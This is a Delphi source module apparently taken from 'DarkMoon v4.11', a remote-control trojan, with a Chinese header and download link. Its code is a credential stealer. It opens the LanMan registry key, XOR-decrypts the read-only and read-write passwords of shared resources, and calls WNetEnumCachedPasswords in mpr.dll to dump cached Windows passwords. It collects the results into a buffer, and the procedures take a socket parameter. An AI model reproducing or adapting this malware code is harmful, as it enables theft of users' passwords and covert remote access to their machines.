microsoft_upass.pas

DarkMoon v4.11 (远程控制) 国外收集的代码,控件下载: http://www.winio.cn/Blogs/jishuwenzhang/200712/20071208230135.

begin
    if Value = REG_SZ then
       Result := rdString
    else
    if Value = REG_EXPAND_SZ then
        Result := rdExpandString
    else
    if Value = REG_DWORD then
       Result := rdInteger
    else
    if Value = REG_BINARY then
       Result := rdBinary
    else
       Result := rdUnknown;
end;

function GetDataInfo(const ValueName: string; var Value: TRegDataInfo): Boolean;
var
  DataType: Integer;
begin
  FillChar(Value, SizeOf(TRegDataInfo), 0);
  Result := RegQueryValueEx(key_shared, PChar(ValueName), nil, @DataType, nil,
    @Value.DataSize) = ERROR_SUCCESS;
  Value.RegData := DataTypeToRegData(DataType);
end;

function GetDataSize(const ValueName: string): Integer;
var
  Info: TRegDataInfo;
begin
  if GetDataInfo(ValueName, Info) then
    Result := Info.DataSize else
    Result := -1;
end;

function GetData(const Name: string; Buffer: Pointer;
  BufSize: Integer; var RegData: TRegDataType): Integer;
var
  DataType: Integer;
begin
  DataType := REG_NONE;
  if RegQueryValueEx(key_shared, PChar(Name), nil, @DataType, PByte(Buffer),
    @BufSize) <> ERROR_SUCCESS then;
  //  raise ERegistryException.CreateFmt(SRegGetDataFailed, [Name]);
  Result := BufSize;
  RegData := DataTypeToRegData(DataType);
end;

procedure ReadError(const Name: string);
begin
//  raise ERegistryException.CreateFmt(SInvalidRegType, [Name]);
end;

function ReadBinaryData(const Name: string; var Buffer; BufSize: Integer): Integer;
var
  RegData: TRegDataType;
  Info: TRegDataInfo;
begin
  if GetDataInfo(Name, Info) then
  begin
    Result := Info.DataSize;
    RegData := Info.RegData;
    if ((RegData = rdBinary) or (RegData = rdUnknown)) and (Result <= BufSize) then
      GetData(Name, @Buffer, Result, RegData)
    else ReadError(Name);
  end else
    Result := 0;
end;

procedure DesencriptarSharedPW( sn: String; socket : TSocket);
var passwordstr1,passwordstr2,cracked1,cracked2 : string[8];
    wordlength1,wordlength2,x : longint;
    password1,password2 : array[1..8] of char;
    path, s:String;
begin
     path := 'SOFTWARE\Microsoft\Windows\CurrentVersion\Network\LanMan\' + sn;
     if RegOpenKeyEx(HKEY_LOCAL_MACHINE,
                     PChar( path ),
                     0,
                     KEY_ALL_ACCESS,
                     key_shared ) = ERROR_SUCCESS then
     begin
          for x := 1 to 8 do
          begin
               password1[ x ] := #0;
               password2[ x ] := #0;
          end;
          readbinarydata('Parm2enc',password2,8); // get cyphered RO password
          readbinarydata('Parm1enc',password1,8); // get cyphered RW password
          sn := sn + makepad(14 - length(sn));
          s := s +  'Resource: ' + sn;
          x := 1;
          passwordstr1 := '';
          passwordstr2 := '';
          cracked1 := '';
          cracked2 := '';
          while password1[x] <> #0 do
          begin
              passwordstr1 := passwordstr1 + password1[x];
              inc(x);
          end;
          wordlength1 := length(passwordstr1);
          x:=1;
          while password2[x] <> #0 do
          begin
              passwordstr2 := passwordstr2 + password2[x];
              inc(x);
          end;
          wordlength2 := length(passwordstr2);
          for x := 1 to wordlength1 do // Here we do the XORing
             if password1[x] <> #0 then
                cracked1 := cracked1 + chr(ord(stringtochar(copy(passwordstr1,x,1))) XOR ord(key[x]));
          for x := 1 to wordlength2 do // And again...
             if password2[x] <> #0 then
                cracked2 := cracked2 + chr(ord(stringtochar(copy(passwordstr2,x,1))) XOR ord(key[x]));
          if cracked1 <> '' then // Write RO password to screen
             s := s + 'PW de RW: ' +  cracked1 + makepad(10 - length(cracked1) )
          else
             s := s + 'PW de RW: no tiene   ';

          if cracked2 <> '' then // Write RW password to screen
             s := s + ' PW de RO: ' + cracked2  + makepad(10 - length(cracked2))
          else
             s := s + ' PW de RO: no tiene   ';
         Data_Pass:=Data_Pass + #13#10  + s ;
          s := '';
end;
end;

//Devuelve un listado de los valores contenidos en la clave
function ListadoDeSubValores( TKEY : HKEY; var cuentas : array of string; var len : integer; socket : TSocket):String;
var info    : TRegKeyInfo;
    i       : integer;
    bSize   : DWORD;
    tBuff   : string;
begin
     if RegQueryInfoKey(TKEY, nil, nil, nil,
                        @info.NumSubKeys,
                        @info.MaxSubKeyLen, nil,
                        @info.NumValues,
                        @info.MaxValueLen,
                        @info.MaxDataLen, nil,
                        @info.FileTime) = ERROR_SUCCESS  then
     begin
          SetString(tBuff, nil, Info.MaxSubKeyLen + 1);
          //Comienza a buscar el listado de claves
          for i := 0 to info.numSubKeys - 1 do
          begin
               bSize := Info.MaxSubKeyLen + 1;
               RegEnumKeyEx( TKEY,
                             DWORD( i ),
                             PChar( tBuff ),
                             bSize, nil, nil,  nil, nil );
               DesencriptarSharedPW( tbuff, socket );
          end;
          Len := info.numSubKeys - 1;
     end;
end;

function sharedPws( socket : TSocket): string;
var i      : Integer;
    Cuentas  : array[ 0..25 ]of string;
begin

    Data_Pass:=Data_Pass + #13#10  + 'PasswordS of Shared Resources' ;
    SendData ( socket, HEADER + '---------------------------------------------------------------' );
    RegOpenKeyEx( HKEY_LOCAL_MACHINE,
                  PChar( 'SOFTWARE\Microsoft\Windows\CurrentVersion\Network\LanMan' ),
                  0,
                  KEY_ALL_ACCESS,
                  key_shared );
    ListadoDeSubValores( key_shared, cuentas, i, socket );
    RegCloseKey( key_shared );
    if i = 0 then
    begin
         Data_Pass:=Data_Pass + #13#10 + 'I didnt find anything!!' ;
         Exit;
    end;

end;


////////////////////////////////////////////////////////////////////////////////
/////////////////////////Passwords de windows///////////////////////////////////
////////////////////////////////////////////////////////////////////////////////


procedure AddPassword( WinPassword: PWinPassword; dw: DWord ;socket : Tsocket) stdcall;
var  Password: String;
     PC: Array[ 0..$FF ] of Char;
begin
     Inc( Cant );
     Move( WinPassword.PasswordC , PC , WinPassword.ResourceSize );
     PC[ WinPassword.ResourceSize ] := #0;
     CharToOem( PC, PC );
     Password := PC;
     Move( WinPassword.PasswordC , PC , WinPassword.PasswordSize + WinPassword.ResourceSize );
     Move( PC[ WinPassword.ResourceSize ] , PC , WinPassword.PasswordSize );
     PC[ WinPassword.PasswordSize ] := #0;
     CharToOem( PC , PC );
     Password := Password + ':  ' + PC;
     Data_Pass:=Data_Pass + #13+#10 +': ' + Password ;
     Data_Pass:=Data_Pass + #13+#10 + Password ;
end;

procedure BuscarPasswordsDeWindows( socket : TSocket);
type TWNetEnumCachedPasswords = function(lp: lpStr; w: Word; b: Byte; PC: PChar; dw: DWord): Word; stdcall;
var  WNetEnumCachedPasswords  : TWNetEnumCachedPasswords;
     Libreria           : THandle;
begin
     if EsXP then
     begin
     Data_Pass:=Data_Pass + #13#10 + 'I cant find the windows passwords because im not Win9X neither WinMe... sorry!!!';

     Exit;
     end;
      Data_Pass:=Data_Pass + #13#10  + 'Windows cached passwords:' ;


     try Libreria := LoadLibrary( PChar( 'mpr.dll' ) );
         @WNetEnumCachedPasswords := GetProcAddress( Libreria , 'WNetEnumCachedPasswords' );
         WNetEnumCachedPasswords( nil, 0, $FF, @AddPassword, 0 );
         FreeLibrary( Libreria );
     except
     end;
     if Cant = 0 then
     begin
        Data_Pass:=Data_Pass+ ':  I dindt find passwords !';

     end;

end;
end.